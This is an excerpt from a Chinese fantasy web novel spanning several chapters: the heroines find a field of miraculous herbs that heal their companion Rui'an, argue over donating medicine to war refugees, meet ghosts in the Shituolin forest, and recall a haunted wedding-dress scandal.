张辞晚张了张嘴巴,没说出话来,攥紧了古青言地衣袖。
古青言安抚地拍了拍她的手,将她护在身边,继续向前行去。只是多了几分谨慎,不敢再冒进。
她们没能再走太久,因为一直坚定不移地向一个方向飞的扶摇枪忽然停了下来,无头苍蝇似的原地乱转了起来,最终失去了方向,再一次直直插入地下,归于沉寂。
古青言走上前,再次感受长枪上甄青竹的气息。
气息尚在,也并未减弱,说明并不是甄青竹出了问题。
那就只能是这个地方有问题。
古青言看着眼前与先前路途并无差异的景色,明明没有任何异常......
或许,这山林中景色错综复杂,没有差异或许就意味着是一种异常呢?
兴许此处是有什么幻境或者阵法迷惑了她们的实现,也扰乱了扶摇枪与甄青竹的感应?
古青言试探着又往前走了几步,没有任何阻挡。
她回头看了看身后依旧昏迷不醒的睿安。要是这家伙此时醒着就好了,他精通阵法,说不定能看出些门道来。
正是一筹莫展之际,小阿金突然又窜了出来,眼里冒着精光,神色比方才发现小人参精时还要激动几分。它咬住古青言的裙角,将她往前方扯去。
“阿金,你做什么?”古青言定住脚与它抗衡,“你别闹了,咱们还要去找阿竹呢,再好的宝贝也得往后放一放。”
脚下的小东西没有回应她,只是扯着她的力道一点也没有松懈,都快要把她的裙角咬破了。
看阿金这副反常的样子,古青言想起方才就是阿金最先发现了百年艾的异样,这才救了她的性命。
难道是阿金又有了什么发现?
想到这,她松了力道,顺从地跟着阿金。
阿金带着她们七拐八绕,穿过层层寻常地十分不寻常的密林。终于,在某一瞬间,眼前的景色骤然变幻,郁郁葱葱的密林迅速在眼前退去,取而代之的,是一片开阔的——药田。
古青言心头跌宕,饶是在财神殿见惯了宝物,她还是被眼前金灿灿的一片晃了眼。
天生金光,必为异宝。
她是个不识货的,这不打紧,身边跟着一个能慧眼识珠的呢。
一直跟在她身后的兰花香气化作清风从她身边略过。大家闺秀的涵养叫张辞晚没有一头扎进这片药海里,但急切的脚步出卖了她的内心。
她没有扎进去,阿金却已经扎了进去,撒欢地在药田中打滚,连一直拽着不松手的小人参精都撂在了一边。
但小人参精也一反常态,竟然没有趁机逃走,而是留在了原地。秃了很多的根须小心翼翼地在药田间行走,东嗅嗅西嗅嗅,一脸陶醉。
虽然它很喜欢这片药田,古青言莫名觉得,它十分嫌弃这里的土壤。
32. 百年艾(五)
“阿竹,安公子有救了。”张辞晚激动地脸颊微微泛红。
听了这话,古青言也难掩高兴:“当真?这药能救隐怀?”
一向稳重的姑娘冲她点点头,声音难掩兴奋:“这是养神芝,传说中,有起死回生之效的养神芝!”
起死回生?
说实话,古青言是有些不大信的。
起死回生这等堪称逆天改命的功效,世间何人不想拥有?若是有此等宝贝,必然是珍贵异常的,又怎会这般如大白菜似的......一大片?
但张辞晚不知她心中所想,已经在药田前摆弄了起来。
罢了,死马当活马医吧。
可等了许久,却不见张辞晚真正下手去采药。
“怎么了?”古青言走过去。
张辞晚面露尴尬:“这养神芝乃是传说中的神药,便是那位传授我医术的大椿族族老都没有见过,更不要说采摘了。”
古青言静默一瞬:“所以,你不知道如何采摘?”
采药也是门大学问,这种珍贵罕见的宝药往往更是刁钻。若是一个不好,便会让药失去药性,功亏一篑。
两个人大眼瞪小眼的杵在原地。
“咔嚓”,清脆的咬合声打破了沉默。阿金叼着一朵硕大的养神芝从药田中跑了出来,随意的丢在古青言脚边,两只小爪子往身后一背,得意的昂起了头。
古青言看看脚下的东西,又看看一脸痛惜,就差把“暴疹天物”四个大字写在脸上的张辞晚,斟酌了一下,弯腰把地上的养神芝捡起来,还顺手撸了一把阿金高傲的脑袋。
“要不你试试,说不定能用呢?”她把养神芝递到张辞晚手里。
张辞晚不抱希望地接过来,拿在手上细细感受了一下,竟惊奇地发现这药中灵气充盈,没有半分流失。
她先是惊喜,再是沉默。
难道,这传说中的,生死人肉白骨,能从阎王手中抢人的养神芝,真的就是用如此朴实的手法采摘的吗?
张辞晚觉得自己的药学常识遭遇了沉重地打击。
但不管张辞晚如何,现在的当务之急是先救睿安。
睿安被放下来,平躺在地上。
张辞晚扣扣搜搜地从养神芝上掰下来一小块,敷在睿安的脖颈处。
“这够吗?”古青言不禁质疑,然后成功收获了张辞晚“真是不懂柴米油盐贵”的埋怨眼神。
古青言哪里见过张辞晚这副小气的样子,深觉张辞晚真是跟甄青竹待在一起太久了。嗯,近墨者黑。
心中嘟囔一番,再一转眼,她揉揉眼睛,不确定地再看。
睿安喉咙处可怖的血洞已然消失不见,脖颈处光洁如初,甚至还有一小团未散去的光亮——是多余的药力。
往旁边一看,张辞晚果然又是一脸痛惜,一副“我如此谨慎竟还是用多了”的表情。
古青言决定不去打扰她的反思,伸出一根手指不信邪地戳了戳睿安的脖子。
又摸了摸,嗯,确实是全好了。
嗯,手
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感不错。
正在心中纠结要不要再戳两下,面前躺着的人却缓缓睁开了眼。
睿安意识还有些迷茫,看见古青言在眼前,本能的坐了起来:“青言......”
一开口,他却忽然顿住了。
喉中昏迷前的痛感全然消失,反而十分舒服,清清凉凉的,像喝了薄荷水。
但是,这声音怎么......
夹夹的,好好听。
古青言眼睛亮了亮,有些期待地盯着睿安嘴巴,希望他再说两句。
顺着古青言的视线,先前的记忆如潮水般涌入睿安的脑海。
“你又要亲我?”他脱口而出。
古青言:!
盯着被自己拔出来枯败了的养神芝怀疑人生的张辞晚:!
古青言蹭地跳了起来:“你你你胡说八道什么。我道你是个正人君子,怎的却如此轻浮,竟然造谣编排与我,简直是......”
巴拉巴拉,语无伦次地说了一大串。
但是在场的没有一个记住了她说了什么,因为根本毫无逻辑。
众所周知,人在尴尬的时候尤其话多。
特别是原本不爱说话的人。
手忙脚乱中,古青言一掌糊住了睿安的嘴巴,用神力封住:“喉咙刚受了这么重的伤,还不好好休息,这都开始说胡话了。”
说完,她故作淡定地站起来,对张辞晚道:“这药,效果如此好,得都带走。我们赶紧采,采完了还要去找阿竹呢。”
33. 争执
“此地不宜久留,我们必须马上离开。”古青言道。
四个人收拾好宝贝,马不停蹄地退出本草森林。短短不到两日,又是柳女,又是百年艾,还有魔气,几人都已经精疲力尽。
当森林外刺眼的光亮灼烧眼皮时,四人都松了一口气。
山脚下客栈的老板见着他们,大惊小怪地迎了上来。已经乱成一锅粥的银雪等人,也带着商队众人围了过来。
一问才知,近日进入本草森林的寻宝者大多都没能出来,就算侥幸逃出来的,不是拖着肠子就是丢了胳膊丢了腿。个个神情恍惚,追问起来词不达意,言辞混乱。
银雪他们见此,生怕他们也折在里面,都要冒死进去寻人了,还是客栈掌柜一直拦着。
好在他们及时回来了。
隐去了魔族之事,将他们在本草森林中大致的所见所闻告知掌柜,托他警示众人。
四人回到房间里,清点他们此行的收获。
流光郁金二十朵,天仙子五株,血风藤十五……万年人参一株,养神芝千株!
虽然一路凶险,但看着这满屋的收获,众人脸上还是难掩喜色。
“太好了,有了这些药材,定能好好赚植妖族一笔,灭一灭他们的气焰。”甄青竹兴高采烈,“往日里,植妖族仗着修为高我们物妖族一头,何等趾高气扬,如今还不是要靠我们运送物资。”
万贯他们也兴高采烈地附和着,美滋滋地打包装箱。
古青言靠在窗边,将窗户打开一条缝隙,逆着灯火的光亮看向楼下。衣衫褴褛,血肉模糊的男男女女就坐在大厅里。有的勉力坐在桌前,有一口没一口地喝着碗里的冷水;有的无力支撑,靠着墙壁席地而坐,意识涣散。
这些人的面孔大多不算陌生,在进山前都见过。那时有更多的人,大家从四面八方来,共同赶赴这一场机缘。有些人或许是为了利益,金钱,但有些人,衣不蔽体,从边境而来,只为换取一丝生机。
但谁知,这根本不是什么机缘,而是裹着蜜糖的砒霜,吊着肉的兽笼罢了,只待时机一到,便是猎杀时刻。
“阿竹。”她看着已经开始算账本的甄青竹,不知如何开口。
甄青竹应了一句,还沉浸在发了笔横财的喜悦里,也没注意她没了后话。
“如今,两族战事吃紧,边境的百姓温饱都是问题,想必没有什么钱财。”古青言缓缓说道,斟酌着用词,“我们可否将这些救命的药材,先捐赠给边境百姓,一应费用,我今后想办法补给你可好?”
甄青竹皱起了眉:“什么补不补的?你我之间何须说这样的话。”
她先是下意识地这样反驳,随后才想起前言:“我们此次,是应二哥哥的邀,做的是植妖族朝廷的买卖,赚的也是朝廷的钱。既能充盈我物妖族国库,又能让边境百姓得到物资,该是一举两得的好事才是,言言何故有此担心?”
古青言一时觉得有几分道理,低头思索起来。
倒是睿安突然插进来话:“这便是甄姑娘涉世未深了。植妖族朝廷的那些权贵,向来是以自己的利益为先。你从他们身上得一分利,他们便会加倍地从百姓身上讨回来。到最后,受苦的还是百姓。”
这话让古青言想起在人界为信徒赐福时的所见所闻。凡人界国家,越是经济下行,或是遇战乱祸事,越是加重赋税,夺利于民。
甄青竹看看又被说动的古青言,又不大满意地看看睿安:“所以,是什么意思?这些药材,也是我们辛辛苦苦,九死一生采来的,难道要拱手让人吗?”
“植妖族百姓的命是命,我们的命就不是命?”
“阿竹,一应损失,我会想办法补给你。”见甄青竹有些生气了,古青言忙道。
“你拿什么补给我!”甄青竹反问。
古青言被问住了。自然是用财神殿的手段做补偿,但她此时不能说。
见她不说话,甄青竹可能觉得自己语气有些重了,声音压低了一些:“我……我是商队的领队。此次虽然大家没有跟我们一起进本草森林冒险,可是这一路走来,也并不轻松。越是靠近边境战场,便越是不知道还有多少凶险。”
“你们不当家不知柴米油盐贵,可我身为领队,自然要以商队的利益为先。旁的什么人,我可顾不得那么多。”
“我可以给你足够多的银钱去抚慰商队,千两万两你尽管开口,便当是我跟你买下这些药材了,可好?”古青言没有别的,只有钱了。
“你这是什么话!”甄青竹却突然更生气了。她眼眶红了,咬着嘴唇看着古青言不说话。
古青言不知所措。她思索起来,想要寻找一个更好的两全之法。
但还没等她想出个所以然来,又听到甄青竹低低的声音:“听你的吧。”
“什么?”古青言抬起头,一时没反应过来。
“言言怜惜边境百姓,那就将药材捐赠给他们吧。”甄青竹低声说,“只要你开心就好。”
她站起来,不去看古青言,朝屋外走去:“天色不早了,忙了两日,早些歇息吧。”
虽然甄青竹忽然答应了她,平息了这场本就没怎么吵起来的纷争,但她却更加不知所措了。
“阿竹。”古青言想叫住她。
但甄青竹难得没有回应,背影看上去有些疲惫。
古青言不知道该怎么办,在她自己都没有察觉的情况下,下意识看向了睿安。
睿安走过来拍了拍她的肩膀:“甄姑娘一心为了商队,是极有责任心的人。她既然答应了,那必然是自己想通了,你不必多心。”
古青言勾勾嘴角,很快又耷拉下去:“希望如此吧。”
“这一路走来,所见所闻,许多都超出了我从前的认知范围。战乱之祸,绝不仅仅影响着植妖与动妖两族,而且牵系整个妖界。”
“甄古府身在其中,又哪里能真的置身事外呢?”
就像当初衣服鬼之事,虽然战祸远在千里之外,甄古府却因此卷入命案,险些害的整个物妖族王城民不聊生。
“正因为此战牵涉之广,所以绝不是一些药材,衣物之类的物资就可以起作用的。”
听他这么一说,古青言的眼中染上茫然。
“当
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然,聊胜于无嘛。”
所以她刚刚为什么要跟阿竹吵架。古青言都有些生自己的气了。
但是,与其责怪自己不如埋怨他人。古青言抬死眼:“那你刚才怎么不拦着我,反倒是帮着我说话?”
睿安被无端指责了也不恼,无奈的笑意在古青言眼前放大,有些晃眼。
他看着古青言的眼睛,“正如甄姑娘所说,我们此次是应青舟公子的邀约,这批药材必然要过植妖族朝廷的手。”
“以我对植妖族朝廷的了解,以他们的贪污腐败程度,不管是赠与还是高价买卖,他们都会借此从百姓手中获利,不过是或多或少的问题罢了。”
古青言努力把心神当回到正事上:“那怎么办?难道我们这几日的努力,都只能化作徒劳吗?”
眼前人神色温和坚定:“不会的。届时我们见机行事,我们不会助长那些人的贪腐之风的。”
古青言点点头:“你对那些人很了解?你可知两族战事究竟因何而起?你对幕后之人知道多少?”
一连串的问题砸下来,好脾气的人却并没有因此失去耐心。
“我并不了解太多。但如果你想知道,我可以陪着你,帮助你,一点点地查。”这人眉目柔和,似有无限包容。
古青言忽然想起了什么:“还有魔族……你是不是魔族派来的?”
睿安:?
他瞪大了眼睛,一双明眸中全是讶异,又很快染上一些委屈:“你怎么会这样想?”
古青言站起来,离他远些:“你说着正事,凑这样近做什么?岂不是叫我分心,无法思考答案?定是魔族派来,阻碍我办案进度的。”
睿安被这倒打一耙打得一愣,随即反应过来:“我的好姑娘啊,你这是贼喊捉贼~”
古青言背过去,一脸正色。
殊不知身后的人悄悄靠近,温热的气息打在颈后:“我还没有问姑娘,何故夺我清白却不承认?”
古青言美眸瞪大,转过去把凑过来的人推远:“什么清白?你怎么又说胡话?”
“在本草森林,我昏迷之时,不是你亲我?”睿安轻飘飘地掌握了道德制高点,“姑娘不想负责不成?”
那样子委屈得好像是什么被欺负了的良家夫男。
古青言没想到他竟然知道此事:“我那是……我那是为了救你。”
与其责怪自己不如埋怨他人。
“我辛苦救你,你怎么还装睡骗我?”
这话可真是至理名言,古青言深以为然。
“姑娘若不是做贼心虚,又何必在意我是否清醒呢?”睿安思路清晰,势要让她负责到底,“姑娘必须对我负责。”
“你是男子,要什么负责。”古青言被他说的面红耳赤,有些急了。
“男子为何就不用负责?男子的清白便不是清白吗?”睿安正色,“姑娘怎能有如此腐朽的性别刻板印象。你得改知道吗……”
眼看睿安就要就性别刻板影响与古青言展开一场深刻伟大的讨论,古青言夺路而逃:“阿竹想必是生我气了,我不能叫她气上整整一夜。”
34. 尸陀林(一)
甄青竹不见了。
古青言推开她的房门,房内空无一人。方才说着要回房休息的甄青竹并不在此。
本以为她是临时出去了,古青言便坐下等了一会,直到黑夜彻底沉寂,客栈里还零星亮着的几盏灯也陆续熄灭。
她这才觉得不对劲,放出神识在整个客栈搜寻一番——没有人。
阿竹是不是赌气跑出去了?古青言急急起身。
“哐当”一声,一只竹编的圆桶被撞倒在地,滚了几圈。翅膀扑腾的声音从竹筒中传出,挣扎几下,一只黑白相间的鸟儿从里面踉跄着飞出,破窗而逃。
是喜鹊,报喜的鸟儿,任谁见了都会心下喜悦,放松警惕。
可是,这里是植妖族,连一只虫子都爬不进来的植妖族!
这里怎么会有鸟儿?
古青言脸色彻底变了,跟着喜鹊就追了出去。那鸟儿在窗外盘旋几圈,就往北边的林子中飞去。
植妖族的树林中几乎遍布了成妖的树灵,感受到仇敌动物族的气息,纷纷扬起枝蔓,狠狠鞭笞。
但那鸟儿灵活得很,一会儿上一会儿下,一会儿又倒着盘旋,硬是让它躲过一众树妖的攻击,徒惊起林中骚乱。
倒是古青言被这些激荡的枝条拖住了脚步,虽不至于有太大的困扰,但多少是减缓了脚步。
直到林中归于平寂,古青言终于突出重围。再抬眼时,哪里还有鸟儿的踪影。
古青言忽然有些毛骨耸立。动物的气息必然会在植妖族中产生动乱,而眼前的林子无边无际,那鸟儿如何能在众多植物的眼皮子底下消失呢?
压下心中思绪,她从穹银袋中取出一颗拳头大的夜明珠。莹莹之光照亮了周身的一片小天地,古青言正要抬头去寻喜鹊的影子,林中骤然乍起一片惊鹊。
数十只喜鹊呼啦啦地飞起来,林中草木皆动,一时间天摇地动,草叶落了满身。
来不及抖落一身狼藉,她便看到甄青竹从鸟雀飞起的方向走了过来。赤红的长裙在黑暗中成为难得的亮色。
但古青言没有叫她,也没有迎向她,她站在原地一动不动。茫茫夜空好似成了一口无垠的深渊,而深渊之中,似有什么可怖的东西凝望着她。巨大的恐慌感爬上她的脊背,渗入她的四肢。
林中一片死寂,方才还战意凛然的草木们仿佛在一瞬间失去了所有生机,只有头顶的天空隐隐传来翅膀呼啸的声音。
“言言。”她恍惚间听到有人这样呼唤。
用尽全力,一把捏碎了手中辛苦工作着的夜明珠。爆破声打破了沉寂的夜,手中未散的余光狠狠扑向天地,荡起阵阵气波。
扑通,扑通,扑通。是心脏跳动的声音,也是一只,又一只喜鹊从天空坠落的声音。
赤红的血色染上了裙脚,前方正朝她走来的红衣愣在了原地,满脸错愕。
最后一只喜鹊重重地砸在地上,眼前人恢复了行动。甄青竹走过来,一片一片拂去她身上的枯枝落叶。看似亲近热切,但难得没有多话。
“这么晚了,你来这里做什么?”古青言问。
甄青竹眼神专注在她身上的落叶上:“睡不着,出来走走。”
末了,又添了一句:“没有生姐姐的气,你不要多想。”
从小到大,甄青竹只有在闯祸的时候才肯唤她姐姐。
古青言继续盯着她俏丽的面庞:“你的房间里怎么会有喜鹊?”
甄青竹默了一下,道:“在本草森林中捡到的,我也不知道它为什么会在那。”
两人对上视线,甄青竹很快又移开。
“阿竹。”古青言叫她,“姐姐永远相信你。”
甄青竹抬头看她,咬住了唇瓣,没有说话。
“走吧,回去睡觉。”古青言牵着她,没有继续说什么。
沿着来时的痕迹,两人一路无话。
追来时,她用了两刻钟。回去时,她们已经走了半个时辰。
还没看到客栈的影子。
古青言停下了脚步。或许是这几日过的太过跌宕起伏,她此时竟然莫名有些想笑。
妖界,她生长的故乡,怎么就乱成了这个样子?
“小姑娘,是迷路了吗?”突如其来的声音吓得身边人一个激灵。
古青言安抚地握了握甄青竹的手,抬头看向声音的来处。
那是一个佝偻着腰的老伯伯,笑眯眯地咧着嘴,露出几颗摇摇欲坠的牙。脸上满是皱纹,皮肤干瘪,像树皮似的。
准确的来说,那就是树皮。
古青言的目光不着痕迹地扫过老人的脚下。那里没有双脚,只有扎根在土地里的树根,每走一步,都翻起点点泥土。
一向健谈的甄青竹被骇得说不出话,紧紧抓着古青言。古青言只好赶鸭子上架,自己社交:“是啊爷爷,您知道本草森林怎么走吗?”
“知道知道。”老伯和蔼极了,枯树枝从旧得泛白的衣袖中伸出来,撑在地上,支撑着他颤颤巍巍地转过身去,“跟我来吧,我给你们两个小妮子带路。”
古青言乖巧地笑了笑,拉着甄青竹跟上去。
“言言。”甄青竹拽了拽她,“这对吗?”
古青言镇定自若:“先跟跟看,死不了的。”
甄青竹一噎,又小声问:“他是……什么啊。”
“鬼魂。”古青言淡淡道。
甄青竹不说话了。
他们走到一个岔路口,一左一右两条小路,向两个不同的方向蔓延而去,看不出太大分别。
老伯指着右边的路:“就是这了,沿着这条路一直走,就到本草森林山脚下了。”
“爷爷不带我们去了吗?”古青言微笑着问。
笑得有点假,但老伯一点没看出来:“不了不了,老头子年纪大了腿脚不好,得去找蚯蚓族的小伙子松松土,按摩按摩。”
老伯笑眯眯地远去了。
甄青竹往古青言背后缩了缩:“这里哪会有蚯蚓族?”
植妖族动妖族分立多年,互不往来。蚯蚓族如今远在万里之外的动妖族,老伯如何找得到?
“都说了他是鬼魂。”古青言看着老伯走远
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,消失在林间,拉着甄青竹踏上了左边的小路。
“言言,你怎么确定那鬼怪指的路是错的?”甄青竹不解地问。
“是鬼魂,不是鬼怪。”古青言认真纠正。
“有什么分别?”甄青竹茫然。
“他只是一只找不到生路的孤魂野鬼,并不作怪,便不能称为鬼怪。”古青言十分眼睛。
甄青竹:……这是重点吗?
古青言纠正完她言语的不严谨,十分满意,终于正经回答起她的疑惑:“‘左青龙,右白虎’,你听过吗?”
甄青竹点点头。
“青龙位主阳,代表活力,生机;白虎位主阴,象征杀伐,死亡。”古青言讲解道,“左右择其一,则左为生路,右为死路。”
甄青竹继续点头,其实听得云里雾里,忍不住问:“言言你还懂风水?”
“略懂一二。”古青言学那老伯笑眯眯地,看得甄青竹寒毛直立。
成功吓到人,古青言满意地笑眯眯,专心赶路。
甄青竹这口气还没缓过来,更可怕的事情却发生了——一只柔软的手轻轻拍了拍她的肩膀。
甄青竹整个人僵在原地,缓缓回头。
绿发,绿眼,一身红裙。粉里透红的脸颊两侧没有耳朵,只有两片花瓣,一抖一抖的,挂着露珠。
“啊啊啊啊啊啊啊啊啊啊啊啊啊”古青言是在甄青竹的叫喊声中回头的。大喊大叫的人不断后退,直接撞到了她的身上。
红配绿的小姑娘像是没有看到甄青竹的惊恐一般,歪着头看她:“姐姐,你的衣裳真漂亮。”
甄青竹手忙脚乱地把外袍脱下来,扔给小姑娘:“给你给你,你离我远点。”
小姑娘愣愣地看着落在身上漂亮的绫罗,好半天才咧嘴笑起来,一双行将就木的死眼中竟然迸发出带着生气的光芒,亮晶晶的:“谢谢姐姐,姐姐要不要来跟我们一起跳舞呀?”
“跳舞?”甄青竹崩溃。
小姑娘摇摇晃晃地歪了歪身子,古青言看到了她的身后。空荡的林子里,出现了十几个与红配绿姑娘一样打扮的小姑娘,正拉着手转着圈,欢快地唱着歌谣,嘴里吐出的是她们听不懂的神秘语言。
甄青竹更崩溃了,古青言把她拉到自己身后,微笑:“不了,谢谢。”
“好吧。”小姑娘失望地撅起嘴,很快将她们抛之脑后,仔仔细细地穿好新得的衣裳,转身欢快地加入了自己的小姐妹们。
古青言也拉着甄青竹转身。
没有脸满头杂乱枯草的卖货郎出现在眼前:“姑娘,买胭脂吗?”
古青言:……
他的身后,还有爆炸蘑菇头,满脸通紫的小男孩;白白胖胖脚步虚浮的棉花大叔;红彤彤圆滚滚的苹果妹妹……更远处,五丈高的巨书踏着步整齐划一地朝这边走来,一步就能踩出一个大坑。
甄青竹欲哭无泪:“啊啊啊啊啊啊啊啊这些到底是什么东西啊!”
“鬼魂。”古青言有些新奇,但没有太多慌乱。
“这里是——尸陀林。”
35. 误
甄古府那个默默无闻的三姑娘离家出走了百年,今日终于回来了。
但没人在意这件事。
因为甄古府的大门前停了一具棺椁。
漫天的白绸飘飘荡荡,伴着雪花般洋洋洒洒的冥币,如同索命的恶鬼。哀嘁的低泣,悲愤的痛诉不绝于耳,叫骂声席卷了整座府宅。
血红的嫁衣高高悬挂在正门的牌匾上,一块又一块昂贵的布帛像烂白菜一般被愤怒的百姓扔进甄古府的门厅。
正门处这般,必然是去不得了。
银雪只好往后院的偏门去,迎接她百年未归的主子。
她家主子名唤古青言,在甄古府“青”字辈排行第三。但若真论起来,却是甄古府的长房长女,本是有第一顺位继承权的尊贵之躯。
但可惜,她这位主子生性怯懦,沉默寡言,在家系庞大,子嗣众多的甄古府中就如同透明人一般。
身为商贾世家的后人,不会在酒局的觥筹交错间谈笑风生也便罢了,竟连承欢长辈膝下,说几句讨喜的俏皮话都做不到。
偏偏甄古府的二位家主还不止她这一个女儿。
甄青竹,古青言的同胞妹妹,活泼明媚,妙语连珠,好似天生就生了一副笑相一般,对谁都盈盈笑眼,走到哪里都能让场间欢声笑语。
理所当然的,长辈们会更偏爱更活泼的孩子一些;理所当然的,家中的伙计会更倾向于在看着亲和的主子手下当差一些。
于是,百年前二位姑娘成年之际,在敲定下一任家主继承人时,依旧是理所当然的,选择了性格更好的妹妹。
谁都没想到,一向软包子似的,对着下人都不敢说几句重话的古青言竟然硬气了一回,自己收拾了行囊,离家出走了。
或许这是她无声的反抗?
但终究是年少冲动,甄古府再怎么样,依旧是妖族头等的商号之一,家财万贯,资源丰富。离开家一个人打拼,哪里比得上依靠家族托举来得好?
这不,纵然是坚持了百年,还不是灰溜溜地回来了?
银雪终于走到了偏门处,卸下门栓,门被打开一条缝。
门外素色的裙摆最先出现在眼前,瞧不出是哪一种料子,但绝不是如今市面上所熟知的任何一种上等料子。看来主子这些年过得确实不怎么样,但好在还没有穷得打补丁的地步。银雪竟然还有些欣慰。
视线再往上,是一只巴掌大的钱袋,远远看着没什么纹饰,走近了瞧却好像有银光流转,转瞬即逝,被长袖掩去。银雪不知自己是不是看花了眼,正准备仔细再瞧,清淡的声音打断了她:“银雪。”
银雪抬眸,清秀的面庞温和如往昔,却褪去了少女稚嫩,更加成熟稳重,染上些风霜。
“银雪拜见姑娘。”她福身见礼,眼中热切,“姑娘这些年,可还安好?”
古青言把人扶起来,想了想简短回道:“还不错。”
说完又觉得多年不见,这么回太生分了些,又补了一句:“比在家中自在许多。”
但银雪显然是不信的:“姑娘受苦了。”
“不苦。”又是简短两个字,古青言抿抿唇,看着眼前明显是脑补了许多,十分心疼自己的贴身婢女,不知该如何解释,生硬地转移话题:“父亲母亲,还有阿竹......”
觉得要把需要关系的家人全部列出来太过麻烦,她索性直接道:“家中一切可还安好?”
问出口又觉得自己好像是问了一句废话,正门处那架势,显然是不大好的。
她闭上嘴,不想说话了。
“府上这些年生意做得越发大了。二位家主身体康健,大公子娶了妻,二公子科举及第,如今已经官居四品,少主......”银雪小嘴叭叭地突然一顿,小心翼翼地看了古青言的脸色。大抵是见她没什么反应,才继续说下去:“少主也颇有长进,若不是突然出了张家姑娘的事情,已经准备带队去植妖族行商了。”
甄古府的传统,每一任继承人在正式继任家主之位前,都要领队行商,完成历练。
妖界三大族,动妖族——由兽类,禽类组成,植妖族——以植物之妖为主,物妖族——则是器物,金银玉石等死物所化的妖类。
甄古府正是物妖族石妖一脉。
只是......
“植妖族最近可不太平呀。”古青言不免有些忧心。植妖族与物妖族近来起了战事,打得不可开交。如今去植妖族行商,难免会被卷入纷争。
“害,那两族隔几年就要打一打,也不是什么稀罕事了。”银雪却没当回事,“他们打他们的,我们赚我们的。”
两人有一搭没一搭地聊着府中近况,往里面走去。当然,主要是银雪在说。
忽然,一块柔软的不明物体跨过院墙被扔了进来,当头朝着古青言落下。
古青言下意识的一掌劈过去,布帛撕裂的声音在空中响彻,随之而来的是一声刺耳痛苦的尖叫。
碎布落在地上,两个人都吓了一跳。古青言看到银雪脸色忽然白了,嘴里在嘟囔:“那不成外头传的是真的,这轻雾锦真的闹鬼?”
“什么闹鬼?”古青言不解的问。
“是轻雾锦,咱们府上不久前新出的料子。”银雪白着脸解释道,往下压了压声音,“这料子,是大公子带的商队前些日子从动妖族带回来的蚕丝所制。据说,是高阶蚕妖吐的丝,先天比旁的蚕丝更具灵气,制成的绸缎轻如雾,细如烟。”
“先前送了样品进皇城里,贵人们交口称赞,妖后殿下亲口赐名——轻雾锦。”
“因着贵人的一句赞,正式发售时备受追捧,不到一日便一扫而空。这本是件名利双收的好事,谁承想却出了张家的事。他们家红事变白事,咱们府上也惹了一身腥。”
“张家?”古青言仔细回想了一下自己对妖族为数不多且十分久远的记忆,实在是没有记起物妖族有哪一户姓张的势力。
“姑娘这许多年不在王都,
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不知道也不奇怪。”银雪耐心解释,“张家在物妖族本算不得什么大贵族大世家,只是近些年十分了不得,只因张家出了位妖后,正是如今张家家主张衣涛的亲姐姐。”
而如今甄古府外停着的棺椁中,正是张衣涛的独女,妖后殿下的亲侄女。
张家姑娘自小体弱多病,被张衣涛捧在手心里长大。如今到了婚嫁的年纪,张衣涛托了十里八乡有名的媒婆,为她说了一门好亲事。
眼看婚期将至,张衣涛怕女儿嫁人后被夫家瞧不起,便特意进宫向妖后殿下讨了嫁妆,将来带去夫家,也算是一种威慑。
妖后殿下心疼侄女,便命宫中最好的绣娘为张家姑娘缝制了一件嫁衣。
谁知就在新婚前夕,张家女拿了嫁衣正要试穿,那嫁衣却忽然自己立了起来,想一个人一样,直直朝张家女扑过去。张家女吓得跑了,那嫁衣还一直跟着她。知道张家女的哭喊声将全家人都引了过来,嫁衣这才掉在地上。
本以为是有惊无险,谁知张家女当夜却忽然不明不白的死了。
视若珍宝的女儿还未出嫁便丢了性命,张衣涛悲愤不已,带着女儿的棺椁到甄古府门前讨要说法。
“妖后殿下为张家姑娘制作嫁衣,用的是前些日子咱们府上进贡的轻雾锦?”古青言很容易就猜到了这一环。
“正是呢。”果然得到了肯定的答复。
说话间,又有好些衣裳布料被扔了进来。都是听说此事后群情激奋的轻雾锦买家。
很快,有一队家丁打扮的人前来收拾残局。古青言瞧着其中好几人十分眼熟,但时隔太久实在有些记不清了。本没怎么放在心上,一转头却看见银雪在小心的观察她的神色。
古青言一脸茫然。
银雪支支吾吾:“姑娘,如今咱们院子里,暂且只有我一个人侍奉姑娘。”
古青言点点头,没觉得有什么。银雪倒是忐忑许久。古青言百年未归,她院子里侍奉的人早就各寻出路,连从小跟她一起长大的贴身侍女白霄都去了甄青竹的院子。
至于银雪,她没什么志气,还是留在了古青言的院子里,就为了年节时多发的几两银子,生辰日主子亲手做的一碗汤面。虽然已有百年没有吃到了。
银雪看着默默走在自己身旁的人。百年过去了,主子瞧着还是不爱说话,没什么长进的样子,怕是要挨欺负。
“姑娘别多心,家主因着张家的事情焦头烂额,这才没时间来见姑娘,等家主腾出手来,定会往咱们院子里再调派人手。”银雪如此宽慰道。
古青言仍是不太在意地点点头。
相比于父亲母亲什么时候腾出手来斥责自己,古青言更关心前面推搡的人。她指着角落里的一间屋子:“那是什么人?”
那里,几个男子正把什么人摔进了一间柴房里,嘴里骂骂咧咧的,又往地上的人身上补了几脚。
古青言隐约听到什么“小白脸”之类的字眼,不由得提起几分兴趣。
36. 尸陀林(三)
古青言觉得他好像有些不大高兴。
大约是被颠簸得有些难受吧。
古青言这样想着,递给他一壶温水,哄小孩似的:“喝点温水就不难受了。”
睿安僵住,没有接,盯着她的脸瞧了一会,转身走了。
古青言莫名其妙,摸了摸自己被冻得白里透红的脸,问旁边的张辞晚:“我脸上有东西吗?”
“没有啊。”张辞晚答。
那边,甄青竹检查完所有货物,走向红脸大哥:“这位大哥,多谢你载我们一程。这点银两不算多,您拿着就当是报仇了。”她拿着一个有些分量的钱袋想往大哥怀里塞。
大哥一把推回去,力道很大,看得出来不是那种虚伪客套的推搡,而是真心实意的......不把这点钱放在心上。
“多大点事,用不着。”红脸大哥十分豪爽,看都不看那钱袋子一眼,拉着自己的板车就招呼人往山下走。
甄青竹犹豫了一下,抬腿欲追,却见脚下微风无源自起,刮起浮雪如沙,向红脸大哥一行人席卷而去。她正要出声提醒:“大哥,小心......”
浮雪飘扬,染上大哥的衣角,那上边还有被古青言扯出来的褶皱。但下一瞬,衣角随浮雪一同消融。风雪迅速席卷了整个队伍,大哥们的身影在呼啸的风中刹那消散,化作铺天盖地带雪的飓风飞往山下。
是雪妖。
雪妖诞生在这座雪山上,植妖族的领地内,却不是植妖。算起来,是他们的同族,物妖。
“多谢大哥——”甄青竹冲远去的飞雪大声道谢。
他们被大哥送到了千丈高的一块平地上,在这里,可以看到一条蜿蜒的小道绕着山壁盘旋向上,通向未知的山顶。
真奇怪。哪有山脚到山腰没有路,山腰到山顶却有路的?
